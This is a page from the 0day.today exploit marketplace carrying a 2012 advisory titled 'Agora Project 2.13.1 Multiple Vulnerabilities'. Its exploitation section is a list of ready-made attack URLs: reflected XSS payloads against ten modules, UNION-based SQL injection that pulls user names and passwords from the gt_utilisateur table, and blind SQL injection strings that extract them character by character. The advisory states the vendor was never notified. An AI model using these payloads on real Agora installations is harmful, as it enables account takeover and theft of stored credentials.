0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Agora Project 2.13.1 Multiple Vulnerabilities
[###################################################################
Agora Project 2.13.1 Multiple Vulnerabilities
###################################################################
Release Date Bug. 15-06-2012
Vendor Notification Date. Never
Product. Agora project
Affected versions. 2.13.1 and less
Type. No Commercial
Attack Vector. XSS, SQLi, BSQLi
Solution Status. unpublished
CVE reference. Not yet assigned
Download http://www.agora-project.net/divers/download.php
Demo http://www.agora-project.net/demo/
I. BACKGROUND
Agora-Project is an intuitive groupware under GPL (Based on PHP/MySQL).
It contains many modules: File Manager (with versioning), Calendars (with resource calendars),
Task Manager, Bookmark manager, Contacts, News, Forum, Instant Messaging, etc.
II. DESCRIPTION
vulnerabilities are XSS, SQLi, BSQLi
III. EXPLOITATION
XSS
192.168.0.1/module_utilisateurs/utilisateur.php?id_utilisateur"><script>alert('xss')</script>
192.168.0.1/module_agenda/evenement.php?id_evenement="><script>alert('xss')</script>
192.168.0.1/module_contact/contact.php?id_contact="><script>alert('xss')</script>
192.168.0.1/module_contact/index.php?id_dossier="><script>alert('xss')</script>
192.168.0.1/module_tache/index.php?id_dossier="><script>alert('xss')</script>
192.168.0.1/module_agenda/index.php?printmode="><script>alert('xss')</script>
192.168.0.1/module_lien/index.php?id_dossier="><script>alert('xss')</script>
192.168.0.1/module_forum/index.php?theme="><script>alert('xss')</script>
192.168.0.1/module_fichier/index.php?id_dossier="><script>alert('xss')</script>
192.168.0.1/module_tableau_bord/index.php?tdb_periode="><script>alert('xss')</script>
SQLi
To exploit minimum visit to "public" space
192.168.0.1/module_forum/index.php?theme=1' and 1=2 union select nom FROM gt_utilisateur WHERE 1 AND '1'='1
192.168.0.1/module_forum/index.php?theme=1' and 1=2 union select pass FROM gt_utilisateur WHERE 1 AND '1'='1
BSQLi
To exploit minimum visit to "public" space
192.168.0.1/module_tache/tache.php?id_tache=1'+and+substring(@@version,1,1)='5
192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+1+from+gt_utilisateur+limit+0,1)='1
192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+substring(concat(1,pass),1,1)+from+gt_utilisateur+limit+0,1)='1
192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+substring(concat(1,nom),1,1)+from+gt_utilisateur+limit+0,1)='1
192.168.0.1/module_tache/tache.php?id_tache=1'and ascii(substring((SELECT nom from gt_utilisateur limit 0,1),1,1))>'0'>'0
192.168.0.1/module_tache/tache.php?id_tache=1'+and ascii(substring((SELECT nom from gt_utilisateur limit 0,1),1,1))='110
...
Discovered by.
Chris Russell
# 0day.today [2024-12-29] #